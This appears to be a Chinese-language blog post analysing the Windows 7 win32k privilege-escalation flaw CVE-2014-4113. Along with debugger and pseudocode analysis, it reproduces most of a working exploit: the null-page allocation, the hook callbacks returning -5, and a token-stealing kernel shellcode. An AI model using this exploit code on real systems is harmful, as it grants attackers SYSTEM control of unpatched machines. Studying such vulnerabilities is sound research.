WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

CVE-2014-4113漏洞分析

MS14-058

调试工具
IDA 6.8
Windbg Preview
Visual Stdio 2017
VirtualKD-Redux-2022.0

镜像:
windows7 x86

1
ed2k://|file|cn_windows_7_ultimate_with_sp1_x86_dvd_u_677486.iso|2653276160|7503E4B9B8738DFCB95872445C72AEFB|/

windows7 x64

1
ed2k://|file|cn_windows_7_enterprise_with_sp1_x64_dvd_u_677685.iso|3265574912|E9DB2607EA3B3540F3FE2E388F8C53C4|/

0x01 配置双机调试环境

因为是第一次调试内核漏洞,所以环境的搭建还是要补充一下

首先去下载VirtualKD,我用的是最新的

https://github.com/4d61726b/VirtualKD-Redux/releases/tag/2022.0

直接下载压缩包就好

如果要调试32位的系统就把target32放到要调试的系统内,要调试64位的系统就放target64到系统内

然后下载windbg,如果要用Windbg Preview需要在微软商店下载,普通的windbg安装visual stdio自带

这里尝个鲜用Windbg Preview主要是感觉界面好看点

打开VirtualKD中的vmmon64.exe

如果要使用windbg preview是需要配置路径的,当然windbg也需要,不过windbg可以直接找到

windbg preview是微软下载的,找不到文件路径,可以先打开然后在任务管理器中找到

进程名为DbgX.Shell.exe,右键属性

可以看到路径是C:\Program Files\WindowsApps.…….微软商店下载的程序都是在这里的

将完整的路径填入然后选择该程序

这样windbg配置就完成了,点击run debugger就会弹出windbg

在虚拟机打开target32文件夹,点击vminstall

直接点install->确定->是,然后电脑就会重启,然后弹出

F8之后选择禁用驱动程序签名强制

然后windbg就会弹出,虚拟机也会卡住,这时候在windbg在输入g,效果等于x64dbg中的F9,就会让程序继续运行,这里是让系统继续运行

然后配置符号表

1
2
.sympath d:\symbols;srv*D:\symbols*https://msdl.microsoft.com/download/symbols
.reload

这时候windbg就开始下载符号表了,下载完成后可以在调用栈看到函数名称

如果后续有没出现的函数重新.reload就好

到这里配置的就差不多了

下面开始分析漏洞,因为整个漏洞调来调去很复杂,如果下面写的不清楚的还麻烦各位师傅指正

0x02 NtAllocateVirtualMemory申请零地址内存

很多文章都是写零页内存的,但是为了清晰一点,零地址这种说法应该也不是很错

首先要了解win32的4GB虚拟内存是怎么分布的

低2GB是用户用的,范围是0x00000000-0x7FFFFFFF

高2GB是内核用的,范围是0x80000000-0xFFFFFFFF

虚拟内存地址范围 功能描述
0x00000000-0x0000FFFF 空指针区,正常情况是不能访问的
0x00010000-0x7FFEFFFF 进程使用的内存
0X7FFF0000-0X7FFFFFFF 不允许使用,因为这段内存要是写入过长的数据可能会影响到内核,破坏内核完整性
0x80000000-0xFFFFFFFF 内核

为啥0x00000000-0x0000FFFF不能写入呢,我的理解是这样的,如果有人写了

1
2
3
4
if (a==0)
{
call a
}

当然这里的代码是随便写的,本意就是如果a为0就想让这个程序报错,那么直接call 0这程序就异常退出了

00000000这段不可写这代码就没问题,除了退出的方式有点暴力,所以需要设置空指针区不可写

可写的话就会被人写入不可描述的东西

下面用windbg查看一下这段内存

我这里是先在虚拟机中用x64dbg打开exp,然后windbg暂停

!process 0 0 列出所有进程的EPROCESS结构地址,找到Exp进程的EPROCESS地址

.process命令介绍:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-process--set-process-context-

因为用户态的2GB是不同的所以要先.process EPRCOESS就可以看到指定进程的用户态的内存了

最后用!address 00000000查看该块内存属性

可以看到该内存没有属性,只有0-10000的范围

1
2
3
!process 0 0
.process 87659d40
!address 00000000

下面来说申请零页内存了,高于win7的系统是没有这个问题的

先来看一下NtAllocateVirtualMemory函数

1
2
3
4
5
6
7
8
__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
);

ProcessHandle 指定要申请内存的进程的句柄,有没有一点远程进程注入的感觉

BaseAddress 要申请的内存的地址的指针,为空则是系统分配内存,这里和之前讲过的免杀的VirtualAlloc一样,VirtualAlloc往下走就是NtAllocateVirtualMemory函数,这个参数就是对应VirtualAlloc的第一个参数,之前写免杀的时候第一个参数都是NULL的,让系统来分配内存

正常来说我们想申请0地址的内存那么第一个地址就应该填0,但是填0又是让系统分配内存,这是冲突的,所以这里要填1,其实12345678应该都是没关系的,不像有些文章说的只能填特定的数字,具体填到多少会导致失败这个就没研究过了,然后这样就成功要到零地址了

ZeroBits 对于漏洞没什么特别的意义,置零就好,具体用法可以查看官方文档

RegionSize 指向要申请内存大小的指针,申请0x1000实际会得到0x2000,会比实际要的多申请到0x1000的大小

AllocationType 内存的类型,在exp中有MEM_TOP_DOWN参数,这个参数的意思是在可能最高地址地址分配内存,实测好像不加这个也不会影响到申请零页内存,且有些文章还说这参数可以倒着分配内存,如果地址为1则这个内存页会从0xFFFFE001也就是-8191开始分配内存,这0xFFFFE001都已经到内核了怎么可能让你直接申请到,后来还是windbg看了再明白

Protect 内存的属性,就可读可写可执行

在exp中是这样调用这个函数的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DWORD base_address = 1;				//申请的地址
SIZE_T region_size = 0x1000; //申请的大小
NTSTATUS tmp = pNtAllocateVirtualMemory(
GetCurrentProcess(), //当前进程的句柄
(LPVOID*)(&base_address), //指向申请地址的指针
0, //讲不明白不过改1好像也不影响运行
&region_size, //指向申请大小的指针
(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), //内存的类型,MEM_TOP_DOWN不是必要的
PAGE_EXECUTE_READWRITE //内存的属性
);

if (tmp != (NTSTATUS)0x0) { //如果返回不为0则说明申请失败
printf("Failed to allocate null page.\n");
return;
}

原理讲的差不多了再回到调试,还是先到虚拟机用x64dbg调试

可以看到这里esi是指向NtAllocateVirtualMemory的函数指针,这里call esi后就是调用NtAllocateVirtualMemory了

堆栈区则是几个参数,这里着重看第二个参数BaseAddress,因为这个参数是in out都用的,也就是申请成功的地址会返回该指针指向的内存

在没调用之前指向的内存的值是00000001,在执行call esi后

可以看到值被改为了00000000且eax返回0,说明内存申请成功了,这时候再去windbg看一下

可以看到得到一块0x0-0x2000的内存,且属性是可读可写可执行

到这里申请零页内存的就讲的差不多了,可能有师傅看到这里不明白为什么要开零页内存的,因为提权的shellcode需要摆在0x5B处,所以必须先让这块内存有可写属性,这个后面会具体说

0x03 漏洞函数调用流程

在exp中前面都是布置一些东西

像CreateWindowA,RegisterClassA这些东西就不介绍了,因为我也讲不清楚,都是创建窗口一类的东西

主要还是来看漏洞函数TrackPopupMenu

首先来看一下调用栈,怎么得到这个调用栈,可以在编译的时候关闭ASLR选项

属性->链接器->高级->随机基址,选择否就关闭了,这样shellcode的地址就不会变化,然后去x64dbg中找到shellcode的地址,因为代码中把shellcode的地址存入5B了所以关注这条指令就可以找到shellcode地址

这条指令可以看到shellcode的地址

然后在windbg中打上硬件断点

1
ba e1 shellcode地址

然后运行exp,windbg会在执行到shellcode位置时停住,这时候输入kb就可以查看完整的调用栈了

如果输出的都是地址可以输入.reload重新加载符号表这样就可以看到了,因为windbg的符号表不是直接加载好的,是内存中有什么就载入什么符号表

来观察整理这个函数的调用

1
2
3
4
5
6
7
8
9
10
shellcode
win32k!xxxSendMessage
win32k!xxxHandleMenuMessages
win32k!xxxMNLoop
win32k!xxxTrackPopupMenuEx
win32k!NtUserTrackPopupMenuEx
nt!KiFastCallEntry //进入内核
ntdll!KiFastSystemCallRet
USER32!NtUserTrackPopupMenuEx
USER32!TrackPopupMenu

直接去最后看看到底是什么触发了漏洞,这里的话用IDA查看方便点

可以看到xxxSendMessage调用了xxxSendMessageTimeout

在xxxSendMessageTimeout+0x1A9处有一条call [esi+60h]

传到这里的esi就是FFFFFFFB,加上60就是0000005B,这也是shellcode地址要写到这里的原因

实际上这调用栈也不是完整的因为代码中有一些hook,就是这些hook让函数返回了-5也就是FFFFFFFB最终触发了漏洞

开始折磨吧

RegisterClassA

首先是RegisterClassA函数,作用是注册一个窗口类,参数是一个指向WNDCLASSA的指针

1
2
3
ATOM RegisterClassA(
[in] const WNDCLASSA *lpWndClass
);

WNDCLASSA

WNDCLASSA结构

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct tagWNDCLASSA {
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCSTR lpszMenuName;
LPCSTR lpszClassName;
} WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;

因为不是全部用得到所以就不写所有参数的具体用法了,感兴趣的师傅可以去官方文档了解

https://docs.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-wndclassa

下面来看一下exp中是怎么写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//窗口收到消息前会先经过这个函数
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
//msg是返回消息的值
printf("WindProc called with message=%d\n", msg);
//打印出来,如果msg=WM_ENTERIDLE就触发下面的,如果不等于就直接返回
//那么WM_ENTERIDLE在消息中的意思是当一个有模式对话框或菜单进入空闲状态时发送此消息给它的所有者,空闲状态指在处理完一条或几条先前的消息后,消息列队为空,消息对应的意思的文章会写在参考中
//人话应该就是我该初始化都好了,你可以来整点啥了
if (msg == WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0); //向下箭头键
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0); //向左箭头键
PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0); //鼠标左键
//这几行都是模拟点击
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}

WNDCLASSA wnd_class = { 0 };
//初始化结构
wnd_class.lpfnWndProc = WndProc;
//处理窗口消息的函数,在消息传递到程序之前都会先经过这个函数
wnd_class.hInstance = GetModuleHandle(NULL);
//网上看的都和谜语一样,感觉就是设置包含这个窗口的进程的基址
//GetModuleHandle(NULL)这个写法可以直接得到可执行文件在内存中基址
wnd_class.lpszClassName = "abcde";
//类名写什么都可以

SetWindowsHookExA

然后是SetWindowsHookExA函数,因为第一个hook就是这个函数创建的

先看一下这个函数

1
2
3
4
5
6
HHOOK SetWindowsHookExA(
[in] int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);

idHook 选择什么操作要HOOK,最常见的就是键盘记录可以填写WH_KEYBOARD参数,代表按键盘就会触发一次hook,在exp中用的是WH_CALLWNDPROC,代表在系统将消息发送到目标窗口之前会先执行hook函数

lpfn 要执行hook函数

hmod 包含lpfn参数指向的钩子过程的 DLL 句柄。如果dwThreadId参数指定由当前进程创建的线程并且挂钩过程在与当前进程关联的代码内,则hMod参数必须设置为NULL 。

dwThreadId 与挂钩过程关联的线程的标识符。对于桌面应用程序,如果此参数为零,则挂钩过程与在与调用线程相同的桌面中运行的所有现有线程相关联。应该就是指定某个线程进行hook吧

官方文档https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa

来看一下源码中怎么写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("Callback one called.\n");
if (*(DWORD *)(lParam + 8) == MN_FINDMENUWINDOWFROMPOINT) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}

HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());

//WH_CALLWNDPROC和上面相同,在接收到消息的时候进入hook函数

//第二个参数是hook后执行的函数

//然后是NULL

//最后是hook当前的线程

再来看一下这个HOOK函数的格式,这种回调函数的格式一般是指定的

1
2
3
4
5
LRESULT CALLBACK CallWndProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);

nCode
指定挂钩过程是否必须处理消息。如果nCode是HC_ACTION,则挂钩过程必须处理该消息。如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数而不进行进一步处理,并且必须返回CallNextHookEx返回的值。

wParam
指定消息是否由当前线程发送。如果消息是由当前线程发送的,则为非零;否则为零。

lParam
指向tagCWPSTRUCT结构的指针

上面基本都是官方文档翻译过来的

原版https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644975(v=vs.85)

tagCWPSTRUCT

这里需要再了解一下tagCWPSTRUCT结构

1
2
3
4
5
6
typedef struct tagCWPSTRUCT {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *NPCWPSTRUCT, *LPCWPSTRUCT;

lParam和wParam不清楚是啥,官方文档也没说

message 我理解的是从内核返回的消息值

hwnd 是返回这个消息值的句柄

官方文档https://docs.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-cwpstruct

以上我的理解是R3向R0发送消息,R0处理后也返回一个消息,如果有HOOK的话返回的消息会先经过HOOK被处理,再到应该到的地方

CallNextHookEx函数感觉就是在HOOK函数处理完之后把处理过后的东西发到此消息该去的地方

像HOOK函数的那些参数实际上都是返回得到,这些参数不需要去传

再回到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("Callback one called.\n");
//打印Callback one called.
if (*(DWORD *)(lParam + 8) == MN_FINDMENUWINDOWFROMPOINT) {
//lParam是指向tagCWPSTRUCT的指针,到+8的位置实际就是message
//MN_FINDMENUWINDOWFROMPOINT是R0返回的消息,这是宏定义,实际的值为0x1EB
//这里的意思是如果message值==MN_FINDMENUWINDOWFROMPOINT那么就触发下面这些
//UnhookWindowsHook取消前面的hook
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
//lParam + 12为窗口的句柄,还记得前面wnd_class.lpfnWndProc = WndProc吗,这里一样的就是为这个句柄设置新函数,如果接收到消息就走到HookCallbackTwo了
}
}
//该去哪去哪
return CallNextHookEx(0, code, wParam, lParam);
}

再看看HookCallbackTwo

1
2
3
4
5
6
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
printf("Callback two called.\n"); //打印字符串
EndMenu(); //销毁菜单,不销毁会一直走HookCallbackTwo函数
return -5; //返回-5, 也就是fffffffb
}

GetPTI()

接下来是GetPTI(),这个函数的作用是返回Win32ThreadInfo的地址

1
2
3
4
5
6
DWORD __stdcall GetPTI() {
__asm {
mov eax, fs:18h
mov eax, [eax + 40h]
}
}

这没啥好说的,就是从fs段中取出TEB存入eax中,在0x40偏移的位置上得到Win32ThreadInfo地址

TokenStealingShellcodeWin7

这是提权的函数

存储在内存中,最后由内核来执行达到提权的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
__asm {
; initialize
pushad; ;保存所有寄存器,最后要堆栈平衡

xor eax, eax; ;eax置零
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
;得到当前线程的KTHREAD结构地址
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
;得到当前进程的EPROCESS结构地址
mov ecx, eax; Copy current _EPROCESS structure
;将当前进程的EPROCESS结构地址保存到ecx中

mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
;将当前进程的token保存到ebx中
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
;将0x4保存在edx中,0x4是windows系统中SYSTEM进程的PID,是不变的,可以用任务管理器看到

SearchSystemPID:
;这一段主要的作用是遍历所有进程,找到PID为4的进程也就是SYSTEM
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
;将下一个进程的EPROCESS.ActiveProcessLinks结构地址保存到eax中
sub eax, FLINK_OFFSET
;eax减去FLINK_OFFSET的偏移是EPROCESS结构起始地址
cmp [eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
;取PID对比是否为0x4
jne SearchSystemPID
;是的话就跳出来
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
;取SYSTEM进程的token
mov [ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
;把SYSYTEM的TOKEN值复制到当前进程
popad; restore registers state
;恢复堆栈
}
return 0;
}

这里有些英文注释没删除,可以更好的了解这些值在结构的什么位置

因为把整个结构全部拿出来实在太多了,所以就挑用到的写了,整体结构的话以后看看有没有机会写吧

这个函数的作用就是得到SYSTEM进程的token后覆盖当前进程的token来提权

整理下过程

  1. 申请零页位置内存
  2. 存入shellcode位置和一些必要信息,这个后面还会写
  3. 布置窗口
  4. 设置HOOK函数
  5. TrackPopupMenu弹出窗口后使用PostMessageA进行点击
  6. 触发首个Hook判断是否接收到0x1EB的消息
  7. 触发第二个Hook销毁菜单返回-5
  8. -5进入内核到xxxSendMessageTimeout函数触发漏洞
  9. 执行shellcode覆盖exp的token
  10. 得到SYSTEM权限

0x04 漏洞分析

在上面已经提到了调用栈,先用IDA看看,再来使用windbg跟一跟

漏洞函数都在win32k.sys中,需要先下载符号表,当然如果windbg配置好了的话也是会自动下载下来的

关于下载指定符号表可以看[逆向小tips]: www.macchiatio.ink这篇文章

打开IDA加载符号表找到NtUserTrackPopupMenuEx函数

在51行找到xxxTrackPopupMenuEx函数

不同的IDA位置可能会有点不同,但是不会差很远

函数还有别的函数,实在太多了不可能全部讲过去,因为很多我也不会,主要就是站在exp的角度看一下主要的函数

在xxxTrackPopupMenuEx的279行走到xxxMNLoop

在xxxMNLoop有两个xxxHandleMenuMessages,漏洞走的是while(1)包含的xxxHandleMenuMessages函数,位置在163行

再进入xxxHandleMenuMessages函数,找到147行的xxxMNFindWindowFromPoint函数

这里就有点关键了

在这个函数里面调用了xxxSendMessage,向R3发送1EB

可以看到在伪代码中写的是0xEB,不知道为什么会有这样的问题,这里需要用汇编看

右键->Copy assembly

在汇编中可以清晰的看到是0x1EB,这个0x1EB被R3的Hook函数

那就可以用windbg在这里下个断点

如果转到汇编的时候是一块一块的,可以右键Text View

点击函数位置可以再下面看到偏移

然后到windbg里面看看汇编是否相同

1
u xxxMNFindWindowFromPoint+0x53

可以看到汇编也是call xxxSendMessage那就在这里打一个断点

1
ba e1 win32k!xxxMNFindWindowFromPoint+0x53

同时到x64dbg那边去在hook函数位置打个断点

重新执行exp

走到单步步过这里停住了,回到系统中把hook函数执行完

可以看到返回的结果是0xfffffffb,也就是-5

那这里的话就要具体看一下里面是什么情况了

因为在里面重新回到了R3,所以想看看到底是什么函数实现的

然后跟着跟着不知道到哪里去了

回到x64dbg看看hook是怎么走到

在R3中通过int 2B回到R0

最后在搜索下找到了KeUserModeCallback执行的流程,完整的文章会放在最后

nt!KeUserModeCallback -> nt!KiCallUserMode -> nt!KiServiceExit -> ntdll!KiUserCallbackDispatcher -> 回调函数 -> int2B -> nt!KiCallbackReturn -> nt!KeUserModeCallback

网上有一篇文章写的是R0会通过SfnOUTDWORDINDWORD->KeUserModeCallback返回R3执行HooK

断点打在SfnOUTDWORDINDWORD是可以断到Hook的

那这里实际上应该是SfnOUTDWORDINDWOR->KeUserModeCallback->………..->回调函数->int 2B->内核

在SfnOUTDWORDINDWORD停止后看一下堆栈,这是第一个Hook

可以看到xxxSendMessage->xxxSendMessageTimeout->xxxCallHook->………->SfnOUTDWORDINDWORD

下面是第二个Hook

这两个Hook打在SfnOUTDWORDINDWORD都可以看到

所以最上面的调用栈是不完整的

下面列一下一个较为完整的调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
NtUserTrackPopupMenuEx+0xc3
xxxTrackPopupMenuEx+0x5cd
xxxMNLoop+0x2c6
xxxHandleMenuMessages+0x9e
xxxMNFindWindowFromPoint+0x58
xxxSendMessage+0x28
xxxSendMessageTimeout+0x179
xxxCallHook+0x26 第一个Hook
xxxCallHook2+0x35f
xxxHkCallHook+0x196
SfnOUTDWORDINDWORD
KeUserModeCallback R0 结束
HookCallback R3回调函数
int 2B 回R0

xxxSendMessageTimeout+0x1cf
xxxSendMessageToClient+0x175
SfnOUTDWORDINDWORD
KeUserModeCallback
HookCallbackTwo return -5
int 2B

xxxSendMessageTimeout+0x1ac
shellcode

基本是这样的了,最后来看一下KeUserModeCallback是怎么从R3取数据的

首先到第二次的SfnOUTDWORDINDWORD

在win32k!SfnOUTDWORDINDWORD+0xba到了KeUserModeCallback函数

可以看到0012FE10的位置的值是FFFFFFFB

再回到汇编

这一段的意思是如果edx的值小于eax,就将edx指向的值取出存入ecx,edx指向的值就是FFFFFFFB

反之直接取7FFF0000指向的值存入ecx

就是判断edx的值是不是属于R3的,如果不属于R3就取7FFF0000指向的值

看看伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
v28 = KeUserModeCallback(33, &v20, 24, &v27, &v29);
//KeUserModeCallback的第四个参数是OUT的,所以这个函数执行完后的结果还是会存入v27
//这里的V27就是0012FE10
UserEnterUserCritSec();
ThreadUnlock1();
ms_exc.registration.TryLevel = 1;
v13 = (int)&v9[53].Next[10];
*(_DWORD *)v13 = v17;
v13 += 4;
*(_DWORD *)v13 = v18;
*(_DWORD *)(v13 + 4) = v19;
ms_exc.registration.TryLevel = -2;
if ( v28 < 0 || v29 != 12 )
{
result = 0;
}
else
{
ms_exc.registration.TryLevel = 2;
if ( v27 < W32UserProbeAddress )
//这里就是前面的汇编了,W32UserProbeAddress应该是常量,就是7FFF0000
v14 = *(_DWORD *)v27;
//如果v27 < W32UserProbeAddress,v27指向的内容将存入v14
else
v14 = *(_DWORD *)W32UserProbeAddress;
v30 = v14; //v14存入v30
ms_exc.registration.TryLevel = -2;
if ( (!a8 || !(*(_BYTE *)(a8 + 36) & 5)) && !(a7 & 2) )
{
ms_exc.registration.TryLevel = 3;
v15 = *(_DWORD **)(v27 + 8);
if ( (unsigned int)v15 >= W32UserProbeAddress )
v15 = (_DWORD *)W32UserProbeAddress;
*v31 = *v15;
ms_exc.registration.TryLevel = -2;
}
result = v30; //返回v30也就是FFFFFFFB
}
return result;

就挑了重要的来说了一下

xxxSendMessage执行后v6=FFFFFFFB

return v6

返回到xxxHandleMenuMessages的147行,值为V13,在上面的截图中有

到176行v13被传入xxxSendMessage

xxxSendMessage->xxxSendMessageTimeout

最后到xxxSendMessageTimeout+0x1A9的位置执行call [esi+60h]

这时候esi是FFFFFFFB,加上60h后为5B,这也shellcode要放在5B的原因

到这里所有流程都差不多了

1
2
3
void* pti_loc = (void *)0x3;*(LPDWORD)pti_loc = GetPTI();
void* check_loc = (void *)0x11; *(LPBYTE)check_loc = 0x4;
void* shellcode_loc = (void *)0x5b;

这里还需要再解释一下

5B就不用说了

0x11这里要设置成4是因为上面还有判断,esi+0x16需要为4

0x3这里需要指向Win32ThreadInfo结构指针

在上面的代码中gptiCurrent==Win32ThreadInfo

如果不正确配置的话Win32ThreadInfo结构中的东西会不能访问导致if不会下来

其实xxxSendMessage的第一个参数就是指向win32k!tagWND结构的指针

漏洞中构建了一个畸形的win32k!tagWND结构

结构信息可以通过下面的命令查看

1
dt win32k!tagWND

tagWND

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
+0x000 head             : _THRDESKHEAD
_THRDESKHEAD
+0x000 h : Ptr32 Void
+0x004 cLockObj : Uint4B
+0x008 pti : Ptr32 tagTHREADINFO
+0x00c rpdesk : Ptr32 tagDESKTOP
+0x010 pSelf : Ptr32 UChar
+0x014 state : Uint4B
+0x014 bHasMeun : Pos 0, 1 Bit
+0x014 bHasVerticalScrollbar : Pos 1, 1 Bit
+0x014 bHasHorizontalScrollbar : Pos 2, 1 Bit
+0x014 bHasCaption : Pos 3, 1 Bit
+0x014 bSendSizeMoveMsgs : Pos 4, 1 Bit
+0x014 bMsgBox : Pos 5, 1 Bit
+0x014 bActiveFrame : Pos 6, 1 Bit
+0x014 bHasSPB : Pos 7, 1 Bit
+0x014 bNoNCPaint : Pos 8, 1 Bit
+0x014 bSendEraseBackground : Pos 9, 1 Bit
+0x014 bEraseBackground : Pos 10, 1 Bit
+0x014 bSendNCPaint : Pos 11, 1 Bit
+0x014 bInternalPaint : Pos 12, 1 Bit
+0x014 bUpdateDirty : Pos 13, 1 Bit
+0x014 bHiddenPopup : Pos 14, 1 Bit
+0x014 bForceMenuDraw : Pos 15, 1 Bit
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
+0x014 bAnsiWindowProc : Pos 19, 1 Bit
+0x014 bBeingActivated : Pos 20, 1 Bit
+0x014 bHasPalette : Pos 21, 1 Bit
+0x014 bPaintNotProcessed : Pos 22, 1 Bit
+0x014 bSyncPaintPending : Pos 23, 1 Bit
+0x014 bRecievedQuerySuspendMsg : Pos 24, 1 Bit
+0x014 bRecievedSuspendMsg : Pos 25, 1 Bit
+0x014 bToggleTopmost : Pos 26, 1 Bit
+0x014 bRedrawIfHung : Pos 27, 1 Bit
+0x014 bRedrawFrameIfHung : Pos 28, 1 Bit
+0x014 bAnsiCreator : Pos 29, 1 Bit
+0x014 bMaximizesToMonitor : Pos 30, 1 Bit
+0x014 bDestroyed : Pos 31, 1 Bit
+0x018 state2 : Uint4B
+0x018 bWMPaintSent : Pos 0, 1 Bit
+0x018 bEndPaintInvalidate : Pos 1, 1 Bit
+0x018 bStartPaint : Pos 2, 1 Bit
+0x018 bOldUI : Pos 3, 1 Bit
+0x018 bHasClientEdge : Pos 4, 1 Bit
+0x018 bBottomMost : Pos 5, 1 Bit
+0x018 bFullScreen : Pos 6, 1 Bit
+0x018 bInDestroy : Pos 7, 1 Bit
+0x018 bWin31Compat : Pos 8, 1 Bit
+0x018 bWin40Compat : Pos 9, 1 Bit
+0x018 bWin50Compat : Pos 10, 1 Bit
+0x018 bMaximizeMonitorRegion : Pos 11, 1 Bit
+0x018 bCloseButtonDown : Pos 12, 1 Bit
+0x018 bMaximizeButtonDown : Pos 13, 1 Bit
+0x018 bMinimizeButtonDown : Pos 14, 1 Bit
+0x018 bHelpButtonDown : Pos 15, 1 Bit
+0x018 bScrollBarLineUpBtnDown : Pos 16, 1 Bit
+0x018 bScrollBarPageUpBtnDown : Pos 17, 1 Bit
+0x018 bScrollBarPageDownBtnDown : Pos 18, 1 Bit
+0x018 bScrollBarLineDownBtnDown : Pos 19, 1 Bit
+0x018 bAnyScrollButtonDown : Pos 20, 1 Bit
+0x018 bScrollBarVerticalTracking : Pos 21, 1 Bit
+0x018 bForceNCPaint : Pos 22, 1 Bit
+0x018 bForceFullNCPaintClipRgn : Pos 23, 1 Bit
+0x018 FullScreenMode : Pos 24, 3 Bits
+0x018 bCaptionTextTruncated : Pos 27, 1 Bit
+0x018 bNoMinmaxAnimatedRects : Pos 28, 1 Bit
+0x018 bSmallIconFromWMQueryDrag : Pos 29, 1 Bit
+0x018 bShellHookRegistered : Pos 30, 1 Bit
+0x018 bWMCreateMsgProcessed : Pos 31, 1 Bit
+0x01c ExStyle : Uint4B
+0x01c bWS_EX_DLGMODALFRAME : Pos 0, 1 Bit
+0x01c bUnused1 : Pos 1, 1 Bit
+0x01c bWS_EX_NOPARENTNOTIFY : Pos 2, 1 Bit
+0x01c bWS_EX_TOPMOST : Pos 3, 1 Bit
+0x01c bWS_EX_ACCEPTFILE : Pos 4, 1 Bit
+0x01c bWS_EX_TRANSPARENT : Pos 5, 1 Bit
+0x01c bWS_EX_MDICHILD : Pos 6, 1 Bit
+0x01c bWS_EX_TOOLWINDOW : Pos 7, 1 Bit
+0x01c bWS_EX_WINDOWEDGE : Pos 8, 1 Bit
+0x01c bWS_EX_CLIENTEDGE : Pos 9, 1 Bit
